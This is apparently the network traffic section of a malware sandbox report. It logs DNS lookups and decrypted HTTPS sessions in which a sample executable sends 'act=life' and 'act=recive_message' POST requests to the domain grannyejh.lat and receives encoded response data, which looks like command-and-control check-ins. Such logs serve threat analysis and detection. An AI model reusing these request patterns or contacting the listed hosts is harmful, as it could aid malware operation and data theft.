Dec 18, 2024 21:22:25.324580908 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:25.328042030 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:25.328075886 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:26.557643890 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:26.557735920 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:26.560636044 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:26.560651064 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:26.560931921 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:26.611496925 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:26.622318983 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:26.622356892 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:26.622483015 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:31.213377953 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:31.213470936 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:31.213558912 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:31.215415001 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:31.215454102 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:31.215482950 CET	49714	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:31.215497971 CET	443	49714	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:31.223381042 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:31.223437071 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:31.223515987 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:31.223861933 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:31.223880053 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:32.440984011 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:32.441062927 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:32.442406893 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:32.442420006 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:32.442667007 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:32.443924904 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:32.443948984 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:32.443991899 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.354789019 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.355307102 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.355412006 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.355462074 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.356312990 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.356374979 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.356395960 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.363213062 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.363262892 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.363275051 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.371678114 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.371747971 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.371761084 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.424062014 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.424104929 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.470942974 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.474781990 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.517800093 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.517831087 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.550199032 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.550251961 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.550278902 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.550508976 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.550559044 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.550801992 CET	49726	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.550822973 CET	443	49726	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.753108978 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.753165007 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:35.753251076 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.753552914 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:35.753568888 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:36.985594988 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:36.985675097 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:37.057396889 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:37.057435989 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:37.058470964 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:37.059691906 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:37.059853077 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:37.059919119 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:53.879472017 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:53.879554033 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:53.879612923 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:53.879745960 CET	49739	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:53.879770041 CET	443	49739	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:53.996193886 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:53.996225119 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:53.996320963 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:53.996818066 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:53.996831894 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:55.215867996 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:55.215986967 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:55.222851038 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:55.222873926 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:55.223352909 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:55.233506918 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:55.233679056 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:55.233764887 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:55.233860970 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:55.275337934 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:56.052469015 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:56.052740097 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:56.052745104 CET	443	49780	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:56.052791119 CET	49780	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:56.288475037 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:56.288518906 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:56.288687944 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:56.289089918 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:56.289108992 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:57.690820932 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:57.690905094 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:57.789283037 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:57.789318085 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:57.789714098 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:57.811227083 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:57.811419010 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:57.811448097 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:22:57.811516047 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:22:57.811527967 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:01.972850084 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:01.972953081 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:01.973014116 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:01.973104000 CET	49787	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:01.973123074 CET	443	49787	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:02.973316908 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:02.973368883 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:02.973445892 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:02.973867893 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:02.973891020 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:04.817240000 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:04.817389965 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:04.818952084 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:04.818964005 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:04.819224119 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:04.820686102 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:04.820862055 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:04.820871115 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:08.967911005 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:08.968040943 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:08.968121052 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:08.968218088 CET	49799	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:08.968257904 CET	443	49799	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:09.361861944 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:09.361921072 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:09.361998081 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:09.362303019 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:09.362318039 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.861577034 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.861676931 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.866305113 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.866328001 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.866709948 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.904160976 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.905076981 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.905128002 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.905935049 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.905983925 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.907411098 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.907696962 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.907820940 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.907854080 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.908139944 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.908169985 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.909255981 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.909293890 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.909307957 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.909324884 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.909432888 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.909451008 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.909471035 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.909607887 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.909636974 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.955333948 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.955516100 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.955553055 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.955571890 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.955594063 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.955616951 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.955627918 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:10.955635071 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:10.955638885 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:18.654778004 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:18.654877901 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:18.655066967 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:18.655760050 CET	49811	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:18.655785084 CET	443	49811	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:18.775222063 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:18.775262117 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:18.775481939 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:18.775980949 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:18.775993109 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:19.992010117 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:19.992095947 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:19.993546009 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:19.993561029 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:19.993803978 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:19.995070934 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:19.995100975 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:19.995134115 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:39.113095045 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:39.113348007 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:39.113435984 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:39.113518953 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:39.113564014 CET	443	49836	172.67.179.109	192.168.2.6
Dec 18, 2024 21:23:39.113596916 CET	49836	443	192.168.2.6	172.67.179.109
Dec 18, 2024 21:23:39.113612890 CET	443	49836	172.67.179.109	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 21:22:24.862868071 CET	59438	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:22:25.002140045 CET	53	59438	1.1.1.1	192.168.2.6
Dec 18, 2024 21:22:25.007446051 CET	64464	53	192.168.2.6	1.1.1.1
Dec 18, 2024 21:22:25.318392992 CET	53	64464	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 21:22:24.862868071 CET	192.168.2.6	1.1.1.1	0x2a3b	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:22:25.007446051 CET	192.168.2.6	1.1.1.1	0x6a63	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 21:22:25.002140045 CET	1.1.1.1	192.168.2.6	0x2a3b	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:22:25.318392992 CET	1.1.1.1	192.168.2.6	0x6a63	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:22:25.318392992 CET	1.1.1.1	192.168.2.6	0x6a63	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

grannyejh.lat

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:22:26 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 20:22:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 20:22:31 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n9ibcp635fuuu1bcc76i0m6ffa; expires=Sun, 13-Apr-2025 14:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uXMPst6LuowHlWBoLhxaTEXqnx8xaQX2gbinqQf4RWQ5zONZsIwxguhAUIRGoYnrhRCJDFoeP7xllB6CfQtV3Xut0W2e92i0cJiHcKCLhkccm1DLujjyBsHcyQXvDDG6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41dd71b89a0f51-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&min_rtt=1583&rtt_var=637&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1660034&cwnd=204&unsent_bytes=0&cid=2b7396af736ee6cd&ts=4666&x=0"
2024-12-18 20:22:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 20:22:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49726	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:22:32 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: grannyejh.lat
2024-12-18 20:22:32 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--7911731954&j=
2024-12-18 20:22:35 UTC	1027	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rk9dfagjsu54alrk5jrbem6aoe; expires=Sun, 13-Apr-2025 14:09:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mTncwB1LvcdsY1Gr3KTr4xEauFmA%2FmlIwqW2OUY3RyknAP9CyT3AVOvejsNjMih6EwDTNdg7XN7s%2FjkM6cFfP2UHjfz4VNaH0J2jbHixSK6DReGkaHWKpUAkE6ulWUsd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41dd96795c8c3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1771&rtt_var=708&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=949&delivery_rate=1498973&cwnd=224&unsent_bytes=0&cid=da1729d46f697b17&ts=2922&x=0"
2024-12-18 20:22:35 UTC	342	IN	Data Raw: 34 64 61 0d 0a 36 51 64 71 39 4f 57 50 72 52 47 71 42 56 54 38 4d 79 50 4e 70 4a 62 63 4e 35 6b 46 37 4a 76 39 43 51 38 78 64 6f 4a 6a 33 38 4f 53 4a 52 7a 57 33 37 75 42 4d 39 6c 67 64 73 5a 48 55 62 6a 42 75 76 35 57 2f 53 66 57 2f 5a 78 6c 66 46 52 61 6f 42 57 79 34 64 4e 68 43 35 69 57 36 6f 45 7a 7a 33 31 32 78 6d 68 59 37 38 48 34 2f 67 32 37 59 49 62 35 6e 47 56 74 55 42 33 74 45 37 4f 67 67 57 73 4e 6e 49 44 73 79 58 44 47 61 44 47 5a 56 6b 4b 6e 79 76 2b 78 58 2f 51 6e 77 4c 6d 59 63 79 30 4c 56 4d 38 47 71 36 4b 6b 5a 68 6d 66 78 2f 4b 42 61 6f 68 67 4f 74 34 4a 41 61 7a 42 39 4c 42 52 2f 57 36 45 38 35 56 74 62 46 55 63 38 67 71 35 71 34 46 6c 44 70 32 4b 35 64 31 39 7a 47 38 36 6e 31 78 43 37 34 69 30 75 55 32 37 50 38 36 71 72 57 68 38 51 67 Data Ascii: 4da6Qdq9OWPrRGqBVT8MyPNpJbcN5kF7Jv9CQ8xdoJj38OSJRzW37uBM9lgdsZHUbjBuv5W/SfW/ZxlfFRaoBWy4dNhC5iW6oEzz312xmhY78H4/g27YIb5nGVtUB3tE7OggWsNnIDsyXDGaDGZVkKnyv+xX/QnwLmYcy0LVM8Gq6KkZhmfx/KBaohgOt4JAazB9LBR/W6E85VtbFUc8gq5q4FlDp2K5d19zG86n1xC74i0uU27P86qrWh8Qg
2024-12-18 20:22:35 UTC	907	IN	Data Raw: 41 61 78 34 64 4d 6c 44 70 69 47 34 4d 39 68 77 47 77 39 6d 30 4e 4b 70 73 76 35 76 6c 6a 78 61 49 33 35 6d 47 46 6e 58 42 37 6b 44 4c 43 6e 69 32 56 49 32 4d 66 71 31 7a 4f 51 4a 78 57 62 51 55 61 6a 30 4c 61 45 46 65 51 70 6c 37 6d 59 5a 79 30 4c 56 4f 67 45 76 71 4b 41 61 67 75 65 6a 50 2f 50 59 63 35 71 4d 34 78 58 52 4b 48 4d 39 36 78 66 39 57 47 4e 38 4a 52 69 61 46 51 51 6f 45 2f 39 70 70 4d 6c 55 4e 61 6d 34 4d 52 2f 77 6e 41 32 33 6b 34 50 74 6f 62 7a 73 68 57 6a 4a 34 72 34 6d 32 70 70 58 52 72 6b 44 62 75 76 68 6d 6f 4f 6e 49 66 71 78 58 76 41 5a 6a 75 56 58 6b 47 71 79 2f 43 34 57 66 70 69 7a 72 66 66 62 48 55 54 54 4b 41 76 75 71 4b 5a 4a 7a 32 56 69 65 50 49 5a 59 68 34 65 49 63 52 52 71 4f 47 72 50 35 62 2f 6d 69 63 2b 49 31 75 59 30 45 59 Data Ascii: Aax4dMlDpiG4M9hwGw9m0NKpsv5vljxaI35mGFnXB7kDLCni2VI2Mfq1zOQJxWbQUaj0LaEFeQpl7mYZy0LVOgEvqKAaguejP/PYc5qM4xXRKHM96xf9WGN8JRiaFQQoE/9ppMlUNam4MR/wnA23k4PtobzshWjJ4r4m2ppXRrkDbuvhmoOnIfqxXvAZjuVXkGqy/C4WfpizrffbHUTTKAvuqKZJz2ViePIZYh4eIcRRqOGrP5b/mic+I1uY0EY
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 34 34 34 32 0d 0a 57 48 35 38 46 38 77 6d 38 2b 6e 6c 78 41 70 4d 37 79 73 31 37 30 61 49 6e 78 6e 47 64 6f 58 68 65 67 54 2f 32 6d 6b 79 56 51 31 71 4c 6a 7a 47 4c 5a 4a 51 4f 64 58 30 2b 6f 30 4c 53 68 47 2b 49 6e 69 66 58 66 4d 79 31 5a 45 2b 63 46 73 4b 75 49 59 51 79 62 69 4f 54 47 65 74 70 74 4f 70 42 44 54 4b 58 44 2b 72 4a 51 39 47 65 50 2b 4a 46 68 5a 68 4e 61 6f 41 61 6c 34 64 4d 6c 4a 35 75 58 2f 38 56 34 32 53 55 44 6e 56 39 50 71 4e 43 30 6f 52 76 69 4a 34 6e 31 33 7a 4d 74 57 42 4c 73 44 62 32 6e 6d 57 73 48 68 49 33 2f 79 33 33 4d 61 7a 69 58 58 45 36 71 31 50 43 2b 52 2f 70 69 69 66 65 53 65 57 67 54 57 71 41 47 70 65 48 54 4a 54 4b 69 67 50 33 65 64 49 70 53 4e 5a 42 66 52 72 6d 47 36 2f 42 4d 75 32 43 43 75 63 63 72 62 6c 38 5a 36 51 53 Data Ascii: 4442WH58F8wm8+nlxApM7ys170aInxnGdoXhegT/2mkyVQ1qLjzGLZJQOdX0+o0LShG+InifXfMy1ZE+cFsKuIYQybiOTGetptOpBDTKXD+rJQ9GeP+JFhZhNaoAal4dMlJ5uX/8V42SUDnV9PqNC0oRviJ4n13zMtWBLsDb2nmWsHhI3/y33MaziXXE6q1PC+R/piifeSeWgTWqAGpeHTJTKigP3edIpSNZBfRrmG6/BMu2CCuccrbl8Z6QS
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 56 44 57 6a 66 2f 4b 66 63 78 74 4d 35 70 64 53 36 2f 44 35 72 5a 54 2f 47 75 47 2f 4a 42 74 61 46 34 54 36 77 4b 76 73 34 68 68 42 70 72 48 6f 34 39 30 30 43 64 75 33 6e 52 57 72 4e 62 79 76 52 58 6b 4b 5a 65 35 6d 47 63 74 43 31 54 67 44 37 47 71 6a 47 34 44 6b 6f 50 74 77 6e 6a 47 61 54 2b 53 57 55 32 6f 31 50 6d 37 58 66 46 75 69 2f 57 53 61 48 39 51 46 61 42 50 2f 61 61 54 4a 56 44 57 6f 4e 37 34 55 49 68 34 65 49 63 52 52 71 4f 47 72 50 35 55 38 32 43 41 2f 59 31 6c 66 31 30 54 34 41 65 31 71 59 78 70 42 70 69 56 35 63 35 7a 78 6d 67 2b 6c 31 56 41 71 38 4c 34 75 52 57 31 4a 34 6e 68 33 7a 4d 74 65 78 66 36 47 2f 2b 50 67 47 55 50 68 70 48 32 6a 32 79 47 66 6e 61 5a 58 51 48 33 68 76 43 31 58 2f 4a 6b 68 2f 32 53 61 32 52 63 48 65 67 4d 74 62 4f 4b Data Ascii: 